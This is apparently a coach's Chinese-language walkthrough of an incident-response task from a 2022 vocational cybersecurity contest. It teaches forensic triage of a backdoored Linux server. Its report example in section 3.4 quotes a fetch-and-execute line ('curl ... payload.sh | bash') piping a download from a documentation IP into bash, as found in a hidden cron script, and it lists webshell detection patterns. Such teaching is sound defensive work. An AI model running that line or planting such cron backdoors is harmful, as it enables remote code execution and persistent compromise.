1. 赛题背景与核心价值解读
2022年的那场中职网络空间安全国赛,对于当时参赛的选手和指导老师来说,绝对是一场硬仗。我作为一线带赛多年的教练,赛后复盘时,对其中一道赛题——试题5,印象尤为深刻。这道题不像常规的Web渗透或密码破解那样有明确的“靶标”,它更像是一个综合性的“战场环境模拟”,考察的是选手在复杂、模糊的实战场景下的综合分析与应急响应能力。很多队伍在这里折戟,不是技术不行,而是思路没打开,被题目表面的“平静”给迷惑了。今天,我就结合自己的带赛经验和赛后与多位裁判、出题人的交流,对这道经典赛题进行一次深度的、实战化的解析。我的解析仅代表个人基于多年一线经验的理解和建议,希望能给后来备赛的师生们提供一个不一样的、更贴近实战的解题视角。
这道题的核心价值在于,它完美模拟了企业安全运维中常见的一种场景:你接手了一个看似“正常”但实则暗流涌动的系统,没有明确的攻击告警,但各种细微的异常迹象又不断提示你“这里有问题”。它考察的不仅仅是某个单一漏洞的利用,更是信息收集的全面性、日志分析的关联性、异常行为判断的敏锐性以及完整攻击链还原的逻辑性。对于中职学生而言,这是一道从“脚本小子”向“初级安全分析师”蜕变的关键考题。
2. 试题环境与初始态势分析
拿到赛题时,我们首先面对的是一个已经部署好的Linux服务器环境(通常是CentOS或Ubuntu的某个版本)。题目描述通常比较简短,可能只有一两句话,例如:“请对提供的服务器进行安全检查,分析是否存在安全威胁,并提交分析报告。” 这种开放性恰恰是最大的挑战。
2.1 初始信息收集方法论
第一步绝不是盲目地跑扫描工具。在真实的攻防演练或应急响应中,鲁莽的行动可能会破坏现场痕迹,甚至触发攻击者留下的“警报”。我们首先要做的是“静默观察”。
2.1.1 系统基础信息快照首先,我们需要像法医勘查现场一样,建立系统的“基础档案”。这包括:
- 系统与内核版本:
uname -a。不同版本的系统,其默认配置、已知漏洞和加固方式都不同。 - 运行时间与用户:
uptime看系统运行了多久,突然的重启可能意味着什么。who或w命令查看当前登录用户,特别注意是否有非常见用户或来自异常IP的登录。 - 网络连接状态:
netstat -antp或更现代的ss -antp。这是重中之重。你需要关注所有LISTEN状态的端口(开放了哪些服务)、ESTABLISHED状态的连接(当前正在进行的通信,IP和端口是否可疑)。例如,发现一个到外部某IP的22端口(SSH)的反向连接,那几乎可以断定系统已被控。 - 进程树查看:
ps auxf或pstree -p。以树状形式查看进程,有助于发现隐藏的子进程或异常的进程父子关系。比如,一个bash进程的父进程不是sshd或终端,而是某个web服务进程,这就非常可疑。
2.1.2 关键配置文件初窥快速检查几个关键点,了解系统“本来应该是什么样子”:
- 用户与权限:
cat /etc/passwd,查看是否有新增的、UID为0(root)的非常见用户,或者shell被设置为/bin/bash的普通服务账号。cat /etc/sudoers或sudo -l查看当前用户的sudo权限。 - 计划任务:
crontab -l(当前用户),以及ls -la /etc/cron.*/和/var/spool/cron/。攻击者常利用计划任务进行权限维持。 - 系统服务:
systemctl list-units --type=service --state=running查看运行中的服务,关注陌生或异常的服务名。
注意:在竞赛环境中,所有命令操作都应考虑是否会被记录或告警。在实际比赛中,这通常不是问题,但养成“静默”习惯对实战有益。可以使用
history -c在检查后清理当前会话的历史,但要注意,这本身也是一个敏感操作。
2.2 常见“埋雷点”与第一轮异常识别
根据历年赛题规律和实战经验,出题人喜欢在以下几个地方设置“陷阱”或“后门”:
- SSH后门:替换或修改SSH相关的二进制文件(如
sshd)或动态链接库,记录密码或开放非法密钥登录。检查命令:rpm -V openssh-server(CentOS)或dpkg -V openssh-server(Ubuntu)进行文件完整性校验。查看/root/.ssh/authorized_keys文件是否有陌生的公钥。 - SUID权限滥用:查找具有SUID权限的可执行文件,特别是那些不常见的。命令:
find / -perm -4000 -type f 2>/dev/null。攻击者可能将/bin/bash或/bin/cp等命令复制并加上SUID权限,从而提权。 - 隐藏进程与网络连接:使用
netstat -antp看不到所有连接?攻击者可能使用libprocesshider等工具隐藏进程。此时可以尝试查看/proc/net/tcp文件,这里的信息相对底层。对比netstat输出和/proc/net/tcp的内容,寻找不一致的条目。 - 动态链接库注入:通过
LD_PRELOAD环境变量劫持系统函数。检查/etc/ld.so.preload文件内容,以及用户配置文件(如~/.bashrc,~/.bash_profile)中是否有导出LD_PRELOAD的语句。
在2022年的这道题中,根据我的复盘,异常的网络连接和某个关键系统文件的细微改动是两大突破口。很多选手只发现了其中一点,导致攻击链还原不完整而丢分。
3. 深度排查与攻击链还原实战
在完成初步信息收集并发现若干异常点后,我们需要将这些点串联起来,形成完整的攻击故事线。这是本题最核心、最考验逻辑思维的部分。
3.1 网络异常深度分析
假设我们通过ss -antp发现了一个可疑的ESTABLISHED连接:本地某个高端口(例如 5555)连接到外部IP198.51.100.33的443端口。
- 第一步:关联进程。
ss命令已经显示了进程PID。通过ps aux | grep找到该进程。假设它是一个名为[kworker/0:1]的进程。这看起来像一个内核工作线程,但位置和名称可能可疑。 - 第二步:检查进程文件。进入
/proc//目录,cat cmdline查看进程的真实启动命令。你可能会发现它实际上执行的是/usr/bin/.sshd(一个隐藏的sshd程序)或是一个打包的二进制文件。 - 第三步:检查文件本身。对可疑的二进制文件进行简单分析:
file /usr/bin/.sshd查看文件类型;strings /usr/bin/.sshd | grep -E "(pass|key|IP|198.51.100)"尝试提取字符串信息,可能会发现硬编码的IP或密码。 - 第四步:追踪连接目的。虽然连接的是443端口(HTTPS),但可能是攻击者控制的C2(命令与控制)服务器在伪装。此时需要结合其他线索。同时,检查iptables或firewalld规则,看是否有规则将到某个端口的流量重定向到这个恶意进程。
3.2 文件系统与日志关联分析
网络异常往往在文件系统上有对应痕迹。
- 检查系统日志:
journalctl -xe --since "2022-xx-xx"(根据比赛时间设定)或直接查看/var/log/secure(认证日志)、/var/log/messages(系统日志)。搜索可疑IP、失败登录、sudo提权记录、服务启动停止记录。- 关键技巧:关注时间戳的跳跃或日志段的缺失。攻击者可能会清理日志,但粗糙的清理会留下时间上的空白,这本身就是一个巨大的异常信号。
- 查找近期变更文件:使用
find命令结合-mtime(修改时间)或-ctime(状态改变时间)查找比赛时间段内被修改的文件。例如:find / -type f -mtime -1 2>/dev/null | grep -v "/proc\|/sys"查找一天内被修改的文件,排除虚拟文件系统。 - 重点目录排查:
/tmp,/dev/shm:临时目录,常被用于存放攻击载荷。/var/www/html或 Web 根目录:检查是否有非预期的Webshell文件。使用find /var/www -name "*.php" -exec grep -l "eval\|base64_decode\|system\|passthru" {} \;快速查找可能包含危险函数的PHP文件。/etc/init.d,/etc/systemd/system:检查是否有恶意启动脚本或服务。
3.3 权限维持手段挖掘
攻击者进入系统后,一定会想办法留下“后门”以便再次进入。
- SSH密钥后门:如前所述,仔细检查
/root/.ssh/authorized_keys和/home/用户名/.ssh/authorized_keys。更要检查/etc/ssh/sshd_config中是否有AuthorizedKeysFile被修改到了其他位置。 - 后门账户:除了
/etc/passwd,还要检查/etc/shadow的权限(应为640,root和shadow组可读),以及其中是否有密码哈希被清空(表示无需密码登录)的账户。 - 定时任务后门:这是高频考点。不仅要看用户级crontab,更要看系统级目录。
ls -la /etc/cron.hourly/ls -la /etc/cron.daily/cat /etc/crontab- 特别注意
/etc/cron.d/目录下的非标准文件。 一个常见的后门是:在/etc/cron.hourly/里放一个名为...(点号开头)的隐藏脚本,内容可能是从远程下载并执行恶意程序。
- Systemd服务后门:相对高级。检查
/etc/systemd/system/下是否有名称看起来像系统服务(如netcfg.service、dbus-org.service)但实际指向恶意脚本的服务单元文件。
3.4 攻击链逻辑串联与报告撰写
将以上所有发现按时间顺序和逻辑关系串联起来,形成攻击链。例如:
- 初始入侵:通过Web应用漏洞(如SQL注入、文件上传,可能需从Web日志或残留文件中推断)获取Webshell,权限为
www-data。 - 内网探测与提权:攻击者利用Webshell执行命令,查找本地SUID文件或内核漏洞,成功提权至root。
- 权限维持:提权后,攻击者做了三件事:
- A. 在
/etc/cron.hourly/创建隐藏后门脚本,每小时从198.51.100.33:443下载最新载荷并执行。 - B. 替换系统的
/usr/bin/netstat为恶意版本,用于隐藏到C2服务器的连接(这就是为什么最初用netstat可能看不到异常连接,但用ss可以看到)。 - C. 在
/root/.ssh/authorized_keys中添加了自己的公钥,实现SSH直连。
- A. 在
- 数据外泄:通过建立的隐蔽通道(如伪装成
[kworker]的进程连接C2),窃取系统上的敏感文件。
撰写报告时,不能只罗列现象。必须按照“现象(Evidence) -> 分析(Analysis) -> 结论(Conclusion)”的结构。例如:
- 现象:在
/etc/cron.hourly/中发现名为.sync的脚本文件,其内容包含curl -s http://198.51.100.33/payload.sh | bash。 - 分析:此脚本被设置为每小时运行一次,会从外部恶意地址下载并执行未知脚本。该文件修改时间与Web日志中发现的漏洞利用时间点接近。
- 结论:攻击者在获取权限后,通过创建计划任务实现持久化控制。
4. 常见失误点与实战技巧总结
根据评分标准和观赛经验,选手在本题上失分主要在于以下几点:
4.1 排查不全面,浅尝辄止
- 问题:发现一个后门就以为万事大吉,停止深入排查。
- 技巧:攻击者通常会部署多层冗余后门。发现一个,要假设还有更多。按照“网络-进程-文件-配置-日志”的闭环再系统性地过一遍。
4.2 只看现象,不做关联
- 问题:报告里写“发现可疑文件A”、“发现异常连接B”,但两者之间有什么关系?是攻击链的哪个环节?没有说清楚。
- 技巧:养成画“攻击时间线”草图的习惯。以时间轴为基线,将发现的各个证据(文件创建时间、日志记录时间、进程启动时间)标上去,逻辑关系一目了然。
4.3 对“正常”的异常不敏感
- 问题:看到
[kworker]进程就以为是内核进程,直接忽略。实际上,内核线程通常不会持有用户态的TCP连接。 - 技巧:对任何持有网络连接的“内核相关”或“系统常见”进程都要多看一眼。使用
cat /proc//exe查看进程实际执行的文件路径,或用lsof -p查看它打开的所有文件,往往能发现破绽。
4.4 报告撰写不规范
- 问题:语言口语化,证据描述不精确(如“有个怪文件”),没有时间戳、完整路径等关键信息。
- 技巧:报告要像“取证报告”一样严谨。所有证据必须包含:完整绝对路径、文件哈希(MD5/SHA1)、发现时间、关键内容片段。分析过程要逻辑清晰,结论要明确指向安全威胁。
4.5 忽略“反取证”手段
- 问题:题目中可能使用了简单的rootkit或文件隐藏技术。选手只用常见命令,发现不了。
- 技巧:掌握一些进阶命令或方法。例如,当
ls看不到文件但确信其存在时,可以使用ls -i查看inode号,然后用find -inum来定位。对于隐藏进程,可以比较ps输出和/proc目录下的数字目录列表。
这道2022年的国赛题5,其精髓在于“于无声处听惊雷”。它训练的不是单一技术的深度,而是安全从业人员最宝贵的系统性思维和怀疑一切的态度。在平时训练中,我建议师生们多搭建类似的“蜜罐”环境,互相在系统中埋设后门和攻击痕迹,然后进行对抗性的排查演练。只有经过这种高强度的、贴近实战的练习,在面对真正复杂的赛题或安全事件时,才能做到心中有图、手中有术,有条不紊地揭开攻击者的所有伪装。